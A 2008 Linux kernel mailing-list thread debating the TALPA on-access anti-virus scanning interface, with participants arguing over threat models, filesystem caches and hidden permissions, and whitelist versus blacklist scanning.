>>> turns out to be malware. That is, it may be possible to solve the
>>> malware
>>> problem in a much more fundamental way here by just allowing malware to
>>> run without the need to know if it is malware, just by running untrusted
>>> software with reduced privileges.
>>>
>>
>> Its called SELinux and SELinux can already do this sort of stuff,
>> including things like "only rpm may create files you are permitted to
>> execute"
>
> This "permitted to execute" is what I feel is the wrong aproach with
> respect to malware. If you simply allow everything to 'execute', I think
> that untrusted programs may still be used for usefull things, but without
> the potential do do malice. If you start from the point where everything
> both trusted and untrusted  is permitted to be executed, you could make it
> the job of SELinux or any other LSM to make untrusted code run without
> doing malice, but with the possibility to still run and do usefull non
> malicious  stuff. This might require some aditional hooks in LSM though I
> could imagine.
>
> To take this one step further, it might be usefull to see what kernel/LSM
> changes would be needed to allow SELinux and/or possibly better yet,
> AppArmor, to work with some powerbox style UI component in order to both
> allow and force untrusted programs to run with least authority and still
> do usefull stuff.
>
> I feel the Polaris/Capdesk/Plash approach to untrusted code is much more
> prommising than the "don't run" approach used by regular AV products.
> Making such an approach integrate with LSM's would IMHO be a much more
> fundamental approach to malware.
>
They way I look at this.   Most users complain that creating profiles
for applications is too complex.

Lets look for where a system that deals with the same kind of issue.
Its in the firewall with ipset http://ipset.netfilter.org/.

You have a set of rules to do things assigned in the firewall.   With
secuirty this would be the LSM.  User gets to choose from a predefined
list for applications without profiles.

Lets look at some basics here.  Firefox and most internet applications
don't need to edit everything in the user account.   If some link
could be designed into LSM for user to once off approve actions
outside filesystem permissions from the grouping.  Malware reading and
writing stuff would be a lot harder.

Major problem everyone keeps on missing.  TALPA is only operating with
part of the full information about the file.    When file systems go
from native file system to inodes currently the permissions on the
native file system are translated to what linux supports and any that
don't fit is disregarded.   Due to that difference each file system
has its own cache and holes on the file system where viruses could
hide data for other OS's on the system.  So TALPA might save Linux
only to see another OS on the system infected.   Worst case is if the
other OS infected could come back and alter Linux disabling the virus
scanner and reinfecting Linux.

TALPA from its current location is partly blind same with most other
anti-virus and malware scanner running on linux.   Unfortunately to
remove this blindness is rework the file system interface layer.
Single cache for all file system drivers with TALPA embeded where it
can scan everything about a file so when its clean its truly clean.
Also for desktop users being able to see the permissions on there
removable media to make sure they are correct would be a god send.

This is a flaw that people from most other OS's would not think about.
  Since Linux is one of the rare places it exists. LIM and HIDS are
also effected by this blindness.   A hids scanning file systems under
Linux can report that everything is fine when the damage is
permissions that Linux is not translating.  We have a black hole of
thrown away data that cannot be simply scanned.

Long term performance also comes into play.   Current system we have a
few too many caches to ever think about making the file system cache
lock less.   Its blinding and a future bottle neck.

Suppose this defect has been there so long people are thinking of it as normal.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Fri, 15 Aug 2008, Peter Dolding wrote:

>>> Its called SELinux and SELinux can already do this sort of stuff,
>>> including things like "only rpm may create files you are permitted to
>>> execute"
>>
>> This "permitted to execute" is what I feel is the wrong aproach with
>> respect to malware. If you simply allow everything to 'execute', I think
>> that untrusted programs may still be used for usefull things, but without
>> the potential do do malice. If you start from the point where everything
>> both trusted and untrusted  is permitted to be executed, you could make it
>> the job of SELinux or any other LSM to make untrusted code run without
>> doing malice, but with the possibility to still run and do usefull non
>> malicious  stuff. This might require some aditional hooks in LSM though I
>> could imagine.
>>
>> To take this one step further, it might be usefull to see what kernel/LSM
>> changes would be needed to allow SELinux and/or possibly better yet,
>> AppArmor, to work with some powerbox style UI component in order to both
>> allow and force untrusted programs to run with least authority and still
>> do usefull stuff.
>>
>> I feel the Polaris/Capdesk/Plash approach to untrusted code is much more
>> prommising than the "don't run" approach used by regular AV products.
>> Making such an approach integrate with LSM's would IMHO be a much more
>> fundamental approach to malware.
>>
> They way I look at this.   Most users complain that creating profiles
> for applications is too complex.
>
> Lets look for where a system that deals with the same kind of issue.
> Its in the firewall with ipset http://ipset.netfilter.org/.
>
> You have a set of rules to do things assigned in the firewall.   With
> secuirty this would be the LSM.  User gets to choose from a predefined
> list for applications without profiles.
>
> Lets look at some basics here.  Firefox and most internet applications
> don't need to edit everything in the user account.   If some link
> could be designed into LSM for user to once off approve actions
> outside filesystem permissions from the grouping.  Malware reading and
> writing stuff would be a lot harder.
>
> Major problem everyone keeps on missing.  TALPA is only operating with
> part of the full information about the file.    When file systems go
> from native file system to inodes currently the permissions on the
> native file system are translated to what linux supports and any that
> don't fit is disregarded.   Due to that difference each file system
> has its own cache and holes on the file system where viruses could
> hide data for other OS's on the system.  So TALPA might save Linux
> only to see another OS on the system infected.   Worst case is if the
> other OS infected could come back and alter Linux disabling the virus
> scanner and reinfecting Linux.

please define your threat model. the section above makes no sense with the 
currently defined threat model.

if the linux kernel squashes stuff from a filesystem such that the 
scanners cannot see it then how in the world can linux then server this 
bad stuff to other systems (what the current threat model is defined as)

if you are saying that you want linux to mount filesystems and scan them, 
then unmount them and allow other systems to mount them and be safe, I 
think you alone in this opinion.

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Sat, Aug 16, 2008 at 3:31 AM,  <david@lang.hm> wrote:
> On Fri, 15 Aug 2008, Peter Dolding wrote:
>
>>>> Its called SELinux and SELinux can already do this sort of stuff,
>>>> including things like "only rpm may create files you are permitted to
>>>> execute"
>>>
>>> This "permitted to execute" is what I feel is the wrong aproach with
>>> respect to malware. If you simply allow everything to 'execute', I think
>>> that untrusted programs may still be used for usefull things, but without
>>> the potential do do malice. If you start from the point where everything
>>> both trusted and untrusted  is permitted to be executed, you could make
>>> it
>>> the job of SELinux or any other LSM to make untrusted code run without
>>> doing malice, but with the possibility to still run and do usefull non
>>> malicious  stuff. This might require some aditional hooks in LSM though I
>>> could imagine.
>>>
>>> To take this one step further, it might be usefull to see what kernel/LSM
>>> changes would be needed to allow SELinux and/or possibly better yet,
>>> AppArmor, to work with some powerbox style UI component in order to both
>>> allow and force untrusted programs to run with least authority and still
>>> do usefull stuff.
>>>
>>> I feel the Polaris/Capdesk/Plash approach to untrusted code is much more
>>> prommising than the "don't run" approach used by regular AV products.
>>> Making such an approach integrate with LSM's would IMHO be a much more
>>> fundamental approach to malware.
>>>
>> They way I look at this.   Most users complain that creating profiles
>> for applications is too complex.
>>
>> Lets look for where a system that deals with the same kind of issue.
>> Its in the firewall with ipset http://ipset.netfilter.org/.
>>
>> You have a set of rules to do things assigned in the firewall.   With
>> secuirty this would be the LSM.  User gets to choose from a predefined
>> list for applications without profiles.
>>
>> Lets look at some basics here.  Firefox and most internet applications
>> don't need to edit everything in the user account.   If some link
>> could be designed into LSM for user to once off approve actions
>> outside filesystem permissions from the grouping.  Malware reading and
>> writing stuff would be a lot harder.
>>
>> Major problem everyone keeps on missing.  TALPA is only operating with
>> part of the full information about the file.    When file systems go
>> from native file system to inodes currently the permissions on the
>> native file system are translated to what linux supports and any that
>> don't fit is disregarded.   Due to that difference each file system
>> has its own cache and holes on the file system where viruses could
>> hide data for other OS's on the system.  So TALPA might save Linux
>> only to see another OS on the system infected.   Worst case is if the
>> other OS infected could come back and alter Linux disabling the virus
>> scanner and reinfecting Linux.
>
> please define your threat model. the section above makes no sense with the
> currently defined threat model.
>
> if the linux kernel squashes stuff from a filesystem such that the scanners
> cannot see it then how in the world can linux then server this bad stuff to
> other systems (what the current threat model is defined as)
>
> if you are saying that you want linux to mount filesystems and scan them,
> then unmount them and allow other systems to mount them and be safe, I think
> you alone in this opinion.
>
The threat module you are looking at does not cover all the real world
usage even worse detection of unknown real world threats.

Currently if we have a unknown infection on a  windows partition that
is been shared by linux the scanner on Linux cannot see that the
windows permissions has been screwed with.   OS with badly damaged
permissions is a sign of 1 of three things.   100 percent incompetent
admin, failing harddrive or system is breached.   Now if system is
breached on a partition it is most likely extremely stupid to be
sharing the contents of that partition on a file server until what
breached it has been found and fixed.  Reason until files are cleared
anything on that partition could have a unknown infection that you are
now putting up to server to be spread onto other machines.

You asked how would the Linux Server spread bad stuff to other
systems.   Quite simple be blind miss the warning signs that something
has gone badly wrong in the partition that its getting its files from
and just luck out on a zero day attack with no signature and spread it
around the network leading to more machines in the network having
crippled secuirty.

Blocked from being able to see the real permissions of the file system
takes away one of the means to detect unknowns.   We need every means
of defence we can have.

Remember in a hypervisor environment like http://kvm.sf.net you many
want to scan the OS you are about to run in there before you start it
up.  Particularly if that contained server is going to be serving
files to the network.   You don't want a windows server starting up
that has had its anti-virus defeated spreeding viruses to every other
windows machine in the network.  Particularly if that windows server
is running inside kvm on linux.   Linux is currently not setup for
doing this effectively.  Linux cannot run a Host Intrusion Detection
on the other OS effectively this adds another layer of secuirty to be
breached in a hypervirsor envorment .

Multi OS setups are going to become far more common.  Anti-virus
scanning and threat monitoring needs to move with the times.

Also beware across OS type scanning does have its advantages.  Number
1 a windows virus without the help of wine will not normally infect
linux and vice verser.

Anti-Virus has been for years about chasing the threat.   Lets try to
get in front of it.  You thread model needs a major update its
incomplete.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Arjan van de Ven]

On Sat, 16 Aug 2008 13:57:50 +1000
"Peter Dolding" <oiaohm@gmail.com> wrote:
> Anti-Virus has been for years about chasing the threat.   Lets try to
> get in front of it.  You thread model needs a major update its
> incomplete.
> 

The problem TALPA is trying to solve is only part of the puzzle.
Everyone recognizes that. It's a very relevant part of the puzzle (in
corporate context at least), but it's very much so not a complete
puzzle. Does that mean we shouldn't deal with this just because it's
incomplete? Absolutely not!
(nor should we do something that has no value.. but that's not the case;
the model that Erik described is quite well defined as 
"do not give ''bad' content to applications/exec".
There is clearly value in that (even though it's not defined what 'bad'
is other than 'program X or Y says so', but for now we have to live
with that; if it bothers you just think "clamAV").

The implementation idea (have a flag/generationnr in the inode for
'known good', block on read() and mmap(), and schedule async scans in
open or on dirty) seems to be quite solid although several details
(async queueing model for example but also the general dirty
notification system) need to be worked out.

Sadly what you're doing is throwing up smoke and just saying "it
doesn't solve world hunger as well so it's bad". Please do yourself a
favor and stop that before people totally start ignoring you.


-- 
If you want to reach me at my work email, use arjan@linux.intel.com
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Sat, Aug 16, 2008 at 2:09 PM, Arjan van de Ven <arjan@infradead.org> wrote:
> On Sat, 16 Aug 2008 13:57:50 +1000
> "Peter Dolding" <oiaohm@gmail.com> wrote:
>> Anti-Virus has been for years about chasing the threat.   Lets try to
>> get in front of it.  You thread model needs a major update its
>> incomplete.
>>
>
> The problem TALPA is trying to solve is only part of the puzzle.
> Everyone recognizes that. It's a very relevant part of the puzzle (in
> corporate context at least), but it's very much so not a complete
> puzzle. Does that mean we shouldn't deal with this just because it's
> incomplete? Absolutely not!

TALPA idea I agree with.  As the long term forever solution I don't
agree with due to its location.

Lets look at the general disk to memory path.

[file system driver]
[file system drivers caches]
[inode's]  TALPA links in here and basically runs its own scan cache.

Long term TALPA need to move from the inode layor down and the design
of the file system path needs to change.

[file system driver]
[generic file system cache]  TALPA enters here and spreads.
[inodes]

generic file system cache built in a way that it can store all the non
linux permission and related data that the file system driver needs.

Reasons
1. That shape even if file system extra permissions are decided to be
kept hidden from the rest of Linux anti-virus can scanning can see it.
2. Everything that is in memory  is checked.
3. Infected files can be removed from consuming memory in the file
system cache.  So a raw memory scan of Linux will not trip on viruses
still being present in memory even that TALPA is running.  False
positive suggesting TALPA has failed is possible due to its current
location.
4 share caching of passed and failed with the file system cache.

1 virus removed from a file system cache could equal the complete
memory price of running TALPA.

Its TALPA location I have major issue with.   Being blind to full set
of information to make a judgement call is the other.

I see it in the same cat a unionfs fine as a side patch to main
kernel.   Not fine to enter main kernel due to being in the wrong
place.  Its the balancing act if we let TALPA will it ever develop
down to the location where it should be?

Can you say 100 percent that TALPA is in the right location for what
it is doing.   If it is not its a good temp fix until we can get
developed the solution in the correct location.  Temp fixes normally
never get main line.

Be truthful its simply in the wrong place.   Getting it to the correct
location for most effective memory usage and giving a virus the least
ammont of distance into linux.  Scanned and 100 percent booted out of
memory.  Other thing some file system drivers also keep stuff in there
cache independent to inodes.   So spots at moment can be double
scanned even that the complete time everything was in memory because
the inode was freed and the file system cache still had it.

You want the most effective use of CPU? if no go head with TALPA.

Current TALPA fails too many holes and flaws.   All caused by 1 thing
its location.   Yes its a major job to move it to the correct location
its a major file system operation rework.

TALPA unfortunately is like trying to build a house on quick sand.
Foundations it needs to work correctly and 100 percent effectively
currently not present.   The quick sand of many file system caches had
to come back and bite at some point.  The blocking of seeing all the
file system permissions also had to come back and bite at some point.

Fix the foundations TALPA idea will be solid for its section of the
puzzle.   Sticking head in sand and saying the foundations don't have
major issues is just fooling to your self.  LIM and others patches
trying to be put in also have the same quick sand issue.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Theodore Tso]

On Sat, Aug 16, 2008 at 03:19:43PM +1000, Peter Dolding wrote:
> Lets look at the general disk to memory path.
> 
> [file system driver]
> [file system drivers caches]
> [inode's]  TALPA links in here and basically runs its own scan cache.
> 
> Long term TALPA need to move from the inode layor down and the design
> of the file system path needs to change.

Huh?  What are you talking about?  In Linux just about all of the
serious filesystems the only caching for file data happens in the page
cache layer.  So what you're saying doesn't make much sense, unless
you're talking about the user space samba daemon --- but even there,
Samba doesn't do any shortcut routing of data; as far as I know
everything goes from Samba, into the filesystem, before it gets served
out to other clients via Samba back out from the filesystem.  So
everything goes through the page cache.

> Reasons
> 1. That shape even if file system extra permissions are decided to be
> kept hidden from the rest of Linux anti-virus can scanning can see it

No one else is taking about checking permissions; I thought this was
all about file *data* that we've been talking about.

If your argument means that we have to take every single
$Proprietary_OS's wacky permissions system, and push them into to core
Linux system so the AV system can evaluate it, I'm pretty sure
everyone is going to vomit all over such a proposal (and over you).

	    	     	       	    	   - Ted

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Sat, Aug 16, 2008 at 7:39 PM, Theodore Tso <tytso@mit.edu> wrote:
> On Sat, Aug 16, 2008 at 03:19:43PM +1000, Peter Dolding wrote:
>> Lets look at the general disk to memory path.
>>
>> [file system driver]
>> [file system drivers caches]
>> [inode's]  TALPA links in here and basically runs its own scan cache.
>>
>> Long term TALPA need to move from the inode layor down and the design
>> of the file system path needs to change.
>
> Huh?  What are you talking about?  In Linux just about all of the
> serious filesystems the only caching for file data happens in the page
> cache layer.  So what you're saying doesn't make much sense, unless
> you're talking about the user space samba daemon --- but even there,
> Samba doesn't do any shortcut routing of data; as far as I know
> everything goes from Samba, into the filesystem, before it gets served
> out to other clients via Samba back out from the filesystem.  So
> everything goes through the page cache.

These file system caches are internal permissions caching points where
the driver decides what you can and cannot see.  Before conversion to
normal inode structs.  Others have own internal buffers for transfers.
  Yes everything is stored on the page cache but it does not have to
be in any shape you would normally id as a file.  I have a bad habit
of putting buffers and caches in the same box.  Thinking that some
file system drivers are smart enough to use the same buffer if they
get the same request twice.  So even that a file may have been
rejected due to being a virus it can still be sitting around in memory
in a buffer not cleared.
>
>> Reasons
>> 1. That shape even if file system extra permissions are decided to be
>> kept hidden from the rest of Linux anti-virus can scanning can see it
>
> No one else is taking about checking permissions; I thought this was
> all about file *data* that we've been talking about.
>
> If your argument means that we have to take every single
> $Proprietary_OS's wacky permissions system, and push them into to core
> Linux system so the AV system can evaluate it, I'm pretty sure
> everyone is going to vomit all over such a proposal (and over you).
>
Thrown away data is not only Proprietary OS Ted.  There are permssions
on mac amiga and many others but there not the only issues of stuff
being made invisible by the driver.

There are fully documented file systems that have hidden streams you
cannot see without passing them correct flags.

UDF undelete and unhide options and ISO showassoc  makes more files
appear on those formats.  UDF and ISO hidden files are one of the
nasties.  AV scans the disk calls it clean.  Remount it with the other
options enabled nice little bit of magic hidden infected files could
turn up.   Black holed.

What is the worst bit about this knowing the luck of this world.
Some people will mount the disks/partitions with the option that
displays the virus with a OS without a anti-virus because another
computer said the disk was clean.

Ext2/3/4 nouser_xattr and noacl don't remove the permissions just
remove the map threw from the driver.

Now there is also the up coming issues of www.nilfs.org and other
continual snap shotting file systems.   If cannot see the permissions
the filesystem drivers are processing and the data those permissions
are causing to be hidden.  The best you can do at the moment see that
the flags to make the data invisible or visible is set and ask user to
remount drive just so you can scan it.  Continual snap shotting file
systems users are not going to take to being asked to stop what they
are doing so anti-virus can remount the filesystem a few million times
to make sure the disk is clean of viruses.  Virus scanning takes long
enough without doing that.

So either anti-virus companies will have to build custom interfaces
that bugs users to handle UDF ISO and any other continual snap
shotting file system that appears.  Or we improve the core so software
that needs to can see everything on a file system can to the level the
drivers support so when a drive is truly 100 percent scanned it is 100
percent scanned.   No missing files.  Root user really does not help
against hidden files that the driver is hiding due to obeying hidden
permissions.

I was not clear enough.   Some of the hidden permissions that don't
appear in the inode system cause files to disappear from existence on
the file system until that filesystem is mounted with the right
option.   Or in the case of a continual snap shotting filesystem virus
could be still there in a roll back just like windows.  So user
deleting the virus never got rid of it.  So months latter the same
virus can turn up again and again.  If it just happens to line up with
the user have the anti-virus down it gets a second chance that it
should have never got.  Surface scanning from the inode system is
kinda blind to a lot of hidden spots on quite a few file systems.

Some of the hidden permissions can be handy as well for HIDS to tell
if anyone has been on a file system since it was last there too.  If a
not used acl or user xattr been touched someone else has been on the
filesystem since it was last left.

There is a nice void space where viruses can nicely hide out at the
moment.  Issue is more void space is going to be made unless some
system is designed to handle file systems with these non translatable
permissions and options hidden permissions.  Yes currently hack around
issue of posix permissions not providing every option has been adding
a mount option.  More dynamic options for handling the issue of non
translatable permissions should be possible and less user disrupting.

Can you now see the sign of trouble I have been trying and trying to
put into words.   I can see the problem.   Putting it in the right
words has been a battle.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Theodore Tso]

On Sat, Aug 16, 2008 at 09:38:30PM +1000, Peter Dolding wrote:
> 
> UDF undelete and unhide options and ISO showassoc  makes more files
> appear on those formats.  UDF and ISO hidden files are one of the
> nasties.  AV scans the disk calls it clean.  Remount it with the other
> options enabled nice little bit of magic hidden infected files could
> turn up.   Black holed.
> 
> What is the worst bit about this knowing the luck of this world.
> Some people will mount the disks/partitions with the option that
> displays the virus with a OS without a anti-virus because another
> computer said the disk was clean.

You have this problem anyway, given that AV database updates are
coming every few hours; so if you scan the disk at noon, and an AV
update comes at 1pm it may be that there were malware that wasn't
detected by the noon DB, but will be detected by the 1pm DB.

And for non read-only filesystems (i.e., anything other than UDF and
ISO), anytime the filesystem is unmounted, the OS is going to have to
assume that it might have been modified by some other system before it
was remounted, so realistically you have to rescan after remounting
anyway, regardless of whether different mount options were in use.

So I draw a very different set of conclusions than yours given your
obervations of all of the ways that an AV scanner might miss certain
viruses, due to things like alternate streams that might not be
visible at the time, snapshotting filesystems where the AV scanner
might not know how to access past snapshots, and hence miss malware. 

I don't believe that this means we have to cram all possible
filesystem semantics into the core VFS just for the benefit of AV
scanners.  I believe this shows the ultimate fallacy that AV scanners
can be foolproof.  It will catch some stuff, but it will never be
foolproof.  The real right answer to malware are things like not
encouraging users to run with the equivalent of Windows Administrator
privileges all the time (or training them to say, "Yeah, Yeah" every
time the Annoying Vista UAC dialog box comes up and clicking "ok"),
and using mail user agents that don't auto-run contents as soon as you
open a mail message in the name of "the user wants functionality, and
we're going to let them have it" attitude of Microsoft.

      	       	   	     	 	     		- Ted

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Sun, Aug 17, 2008 at 1:17 AM, Theodore Tso <tytso@mit.edu> wrote:
> On Sat, Aug 16, 2008 at 09:38:30PM +1000, Peter Dolding wrote:
>>
>> UDF undelete and unhide options and ISO showassoc  makes more files
>> appear on those formats.  UDF and ISO hidden files are one of the
>> nasties.  AV scans the disk calls it clean.  Remount it with the other
>> options enabled nice little bit of magic hidden infected files could
>> turn up.   Black holed.
>>
>> What is the worst bit about this knowing the luck of this world.
>> Some people will mount the disks/partitions with the option that
>> displays the virus with a OS without a anti-virus because another
>> computer said the disk was clean.
>
> You have this problem anyway, given that AV database updates are
> coming every few hours; so if you scan the disk at noon, and an AV
> update comes at 1pm it may be that there were malware that wasn't
> detected by the noon DB, but will be detected by the 1pm DB.
>
> And for non read-only filesystems (i.e., anything other than UDF and
> ISO), anytime the filesystem is unmounted, the OS is going to have to
> assume that it might have been modified by some other system before it
> was remounted, so realistically you have to rescan after remounting
> anyway, regardless of whether different mount options were in use.
>
> So I draw a very different set of conclusions than yours given your
> obervations of all of the ways that an AV scanner might miss certain
> viruses, due to things like alternate streams that might not be
> visible at the time, snapshotting filesystems where the AV scanner
> might not know how to access past snapshots, and hence miss malware.
>
> I don't believe that this means we have to cram all possible
> filesystem semantics into the core VFS just for the benefit of AV
> scanners.  I believe this shows the ultimate fallacy that AV scanners
> can be foolproof.  It will catch some stuff, but it will never be
> foolproof.  The real right answer to malware are things like not
> encouraging users to run with the equivalent of Windows Administrator
> privileges all the time (or training them to say, "Yeah, Yeah" every
> time the Annoying Vista UAC dialog box comes up and clicking "ok"),
> and using mail user agents that don't auto-run contents as soon as you
> open a mail message in the name of "the user wants functionality, and
> we're going to let them have it" attitude of Microsoft.
>
I am not saying in that it has to be displayed in the normal VFS.  I
am saying provide way to see everything the driver can to the
scanner/HIDS.   Desktop users could find it useful to see what the
real permissions are on disk surface useful for when they are
transferring disks between systems.  HIDS will find it useful for Max
confirm that nothing has been touched since last scan.   White list
scanning finds it useful because they can be sure nothing was missed.

You mentioned the other reason why you want to be under the vfs.   As
you just said every time you mount a file system you have to presume
that its dirty.  What about remount?   Presume its all dirty just
because user changed a option to the filesystem?  Or do we locate
ourself in a location that remount don't equal starting over from
scratch.   Location in the inodes wrong for max effectiveness.   Even
on snapshoting file systems when you change snapshot displayed not
every file has changed.   The Linux File System Driver interface needs
to change.   Sorting out this section of the file system driver
section also would allow like a ISO or UDF to be multi mounted with
different filter options to the vfs.   Reason driver goes up to a
central point then to the vfs so filters that hide files and
permissions could be turned on and off at bind mounts.  The alteration
to make AV work perfectly opens up way more doors.  Including file
system neutral mount filters so that users and group id's on a file
system can be mapped to local user and group id's.  UUID on the
partition could be used to track remove able disks using it.  500 user
on current system might be acting as 1000 user on a remote/removable
disk since the users id on that system that disk owns to is 1000.

Also you are not thinking real world.   Most common reason to be
scanning read only disks on one machine then using it on another not
fully setup is the restoring stage from backups.   This is where you
all ready know what the virus is.   So that the signatures have been
update for viruses created in the last hour  really normally does not
matter for backups a week old.

It is critical for sorting out infected from non infected disks that
scanning for that is fool proof as possible.  Worst nightmare is to
complete a reinstall after a really destructive virus only to have it
do its destruction again.

Logic that scanning will always be needed again due to signatures
needing updates every few hours is foolish.   Please note signatures
updating massively only apply to black list scanning like
anti-viruses.   If I am running white list scanning on those disks
redoing it is not that required unless disk has changed or defect
found in the white list scanning system.  The cases that a white list
system needs updating is far more limited:  New file formats,   New
software,  New approved parts or defect in scanner itself.
Virus/Malware writer creating a new bit of malware really does not
count if the malware fails the white list.  Far less chasing.  100
percent coverage against unknown viruses is possible if you are
prepared to live with the limitations of white list.   There are quite
a few places where the limitations of white list is not a major
problem.

So don't use the idea of the black list flaw against me.   It does not
have to exist we should go after 100 percent scanning since we can go
after white list scanning that can provide 100 percent coverage with
its other issue of blocking some things it should not.  Viruses and
Malware that users themselfs don't install or approve don't even get a
chance against white list scanning.

UAC for Linux are like the selinux systems.  UAC fails against malware
too many windows users get use to clicking yes way too often.  Defect
on the LSM side we must not copy.

Anti-Virus companies are going to have to lift there game stop just
chasing viruses because soon or latter the black list is going to get
that long that its going to be unable to be processed quickly.
Particularly with Linux's still running on 1.5 ghz or smaller
machines.  Instead swap across to the shorter white list to process
and sort.   Quarantining for black list scanning so performance of
machine is hit with the least ammount.   Some areas like email, p2p
for people using formats that should not contain macros or executable
code white list scanning there is all that is needed before either
blocking or asking user if black list scanning should be preformed or
the file just deleted.   Lets close the door's on these malware
writers without hurt end users any more than we have to.  What is the
point of running a full black list across a file the user will delete
because it was not what they thought it was.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Sun, 17 Aug 2008, Peter Dolding wrote:

> On Sun, Aug 17, 2008 at 1:17 AM, Theodore Tso <tytso@mit.edu> wrote:
>> On Sat, Aug 16, 2008 at 09:38:30PM +1000, Peter Dolding wrote:
>>>
> I am not saying in that it has to be displayed in the normal VFS.  I
> am saying provide way to see everything the driver can to the
> scanner/HIDS.   Desktop users could find it useful to see what the
> real permissions are on disk surface useful for when they are
> transferring disks between systems.  HIDS will find it useful for Max
> confirm that nothing has been touched since last scan.   White list
> scanning finds it useful because they can be sure nothing was missed.

unless you have a signed file of hashses of the filesystem, and you check 
that all the hashes are the same, you have no way of knowing if the 
filesystem was modified by any other system.

you may be able to detect if OS Y mounted and modified it via notmal 
rules of that OS, but you have no way to know that someone didn't plug the 
drive into an embeded system that spit raw writes out to the drive to just 
modify a single block of data.

> You mentioned the other reason why you want to be under the vfs.   As
> you just said every time you mount a file system you have to presume
> that its dirty.  What about remount?   Presume its all dirty just
> because user changed a option to the filesystem?  Or do we locate
> ourself in a location that remount don't equal starting over from
> scratch.   Location in the inodes wrong for max effectiveness.   Even
> on snapshoting file systems when you change snapshot displayed not
> every file has changed.

this is a policy decision that different people will answer differently. 
put the decision in userspace. if the user/tool thinks that these things 
require a re-scan then they can change the generation number and 
everything will get re-scanned. if not don't change it.

if you want to trust another system to do the scanning for you the 
userspace code needs to work out a way to use the same generation number 
of the different machines.

the underlying mechanism can work in all of these cases. which one you 
choose to use is up to you, and it doesn't matter what you choose, the 
mechanism allows other people to make different choices.

> Logic that scanning will always be needed again due to signatures
> needing updates every few hours is foolish.   Please note signatures
> updating massively only apply to black list scanning like
> anti-viruses.   If I am running white list scanning on those disks
> redoing it is not that required unless disk has changed or defect
> found in the white list scanning system.  The cases that a white list
> system needs updating is far more limited:  New file formats,   New
> software,  New approved parts or defect in scanner itself.
> Virus/Malware writer creating a new bit of malware really does not
> count if the malware fails the white list.  Far less chasing.  100
> percent coverage against unknown viruses is possible if you are
> prepared to live with the limitations of white list.   There are quite
> a few places where the limitations of white list is not a major
> problem.

the mechanism I outlined will work just fine for a whitelist scanner. the 
user can configure it as the first scanner in the stack and to trust it's 
approval completely, and due to the stackable design, you can have thigns 
that fall through the whitelist examined by other software (or blocked, or 
the scanning software can move/delete/change permissions/etc, whatever you 
configure it to do)

> Anti-Virus companies are going to have to lift there game stop just
> chasing viruses because soon or latter the black list is going to get
> that long that its going to be unable to be processed quickly.
> Particularly with Linux's still running on 1.5 ghz or smaller
> machines.

forget the speed of the machines, if you have a tens of TB array can will 
take several days to scan using the full IO bandwith of the system (so 
even longer as a background task), you already can't afford to scan 
everything every update on every system.

however, you may not need to. if a small enough set of files are accessed 
(and you are willing to pay the penalty on the first access of each file) 
you can configure your system to only do on-access scanning. or you can 
choose to do your updates less frequently (which may be appropriate for 
your environment)

> Instead swap across to the shorter white list to process and sort. 
> Quarantining for black list scanning so performance of machine is hit 
> with the least ammount.  Some areas like email, p2p for people using 
> formats that should not contain macros or executable code white list 
> scanning there is all that is needed before either blocking or asking 
> user if black list scanning should be preformed or the file just 
> deleted.  Lets close the door's on these malware writers without hurt 
> end users any more than we have to.  What is the point of running a full 
> black list across a file the user will delete because it was not what 
> they thought it was.

you are arguing with the wrong people here. we are not trying to define 
the future of anti-virus technologies, we are trying to figure out how to 
provide the hooks so that people and companies can go off and do the 
research and experimentation and try different approaches.

the threat model we have been trying to deal with has not included trying 
to scan a drive that will be accessed by another OS to make sure that the 
other OS won't have any problem with it. I'm not sure thats even possible 
(it's like network IDS where you can't just look at the packet fragments, 
you need to duplicate the logic of the destination OS for how those 
fragments are reassembled, when the source isn't available for the target, 
this is reduced to 'best effort')

if you think we should be trying to deal with a different threat model, 
say so and argue threat model vs threat model. you may be right that the 
threat model isn't appropriate and needs to change, but arguing that the 
proposed solutions don't satisfy your threat model without documenting 
what that is doesn't get us anywhere.

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Sun, Aug 17, 2008 at 6:58 PM,  <david@lang.hm> wrote:
> On Sun, 17 Aug 2008, Peter Dolding wrote:
>
>> On Sun, Aug 17, 2008 at 1:17 AM, Theodore Tso <tytso@mit.edu> wrote:
>>>
>>> On Sat, Aug 16, 2008 at 09:38:30PM +1000, Peter Dolding wrote:
>>>>
>> I am not saying in that it has to be displayed in the normal VFS.  I
>> am saying provide way to see everything the driver can to the
>> scanner/HIDS.   Desktop users could find it useful to see what the
>> real permissions are on disk surface useful for when they are
>> transferring disks between systems.  HIDS will find it useful for Max
>> confirm that nothing has been touched since last scan.   White list
>> scanning finds it useful because they can be sure nothing was missed.
>
> unless you have a signed file of hashses of the filesystem, and you check
> that all the hashes are the same, you have no way of knowing if the
> filesystem was modified by any other system.

That is called a HIDS.  Network form even has central databases of
hashes of applications that should be on the machine.  Its tampering
detection.
>
> you may be able to detect if OS Y mounted and modified it via notmal rules
> of that OS, but you have no way to know that someone didn't plug the drive
> into an embeded system that spit raw writes out to the drive to just modify
> a single block of data.

Exactly why I am saying the lower level needs work.   Everything the
file system driver can process needs to go to Hids for most effective
detection of tampering.  Ok not 100 percent but the closest to 100
percent you can get.   2 causes of failure are hash collisions that
can happen either way and data hidden outside the drivers reach.   All
execute data leading into the OS will be covered by a TPM chip in time
so that will only leave non accessible data not a threat to current
OS.
>
>> You mentioned the other reason why you want to be under the vfs.   As
>> you just said every time you mount a file system you have to presume
>> that its dirty.  What about remount?   Presume its all dirty just
>> because user changed a option to the filesystem?  Or do we locate
